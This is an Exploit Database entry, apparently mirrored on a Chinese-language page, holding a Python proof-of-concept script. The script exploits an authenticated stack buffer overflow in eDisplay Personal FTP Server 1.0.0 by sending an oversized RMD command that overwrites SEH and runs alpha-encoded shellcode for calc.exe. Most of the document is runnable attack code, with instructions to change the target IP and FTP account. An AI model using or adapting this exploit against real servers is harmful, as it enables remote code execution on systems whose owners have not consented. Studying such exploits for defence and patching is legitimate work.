eDisplay Personal FTP Server 1.0.0 – (Authenticated) Multiple Stack Buffer Overflows (2)

• Exploit Database
• 121 阅读

• 作者： sud0
  日期： 2010-03-25
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/11877/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38

  # Exploit Title : eDisplay Personal FTP server 1.0.0 Multiple Post-Authentication Stack BOF # Type of sploit: Remote Code Execution # Bug found by: loneferret(march 19, 2010) # Reference : http://www.exploit-db.com/exploits/11810 # Exploit date: March 24, 2010 # Author: Sud0 # Version : 1.0.0 # OS: Windows # Tested on : XP SP3 En (VirtualBox) # Type of vuln: SEH # Greetz to : corelanc0d3r and of course my friends and .... first of all my wife for supporting me and my obsession :) # Change IP and ftp account according to your server   import socket junk="B" * 37 #seh overwritten after 37 bytes nseh= "\x74\x20\x74\x20" # jmp forward (used a JE to avoid Bad Chars) seh= "\x69\x40\x2b\x20" # ppr from   #shellcode for calc.exe encoded with Alpha2 basereg = eax shellcode="PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJILKJLV5LKJL3XQ0WPQ0FOCXU33Q2LSSLMPEZXV0NX9WMCIRSGKO8PA"   #shellcode to align eax for decoder align="\x5A\x5A\x5A\x52\x58\x2D\x3B\x55\x55\x55\x2D\x3B\x55\x55\x55\x2D\x3B\x55\x55\x55"   buffer= junk+nseh+seh + "C"* 26+ align + "C" * 25 + shellcode + "A" * 50   print "Sending Exploit .... \r\n" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.56.101',21)) s.recv(1024) s.send('USER fox\r\n') s.recv(1024) s.send('PASS mulder\r\n') s.recv(1024) s.send('RMD ' + buffer + '\r\n') s.close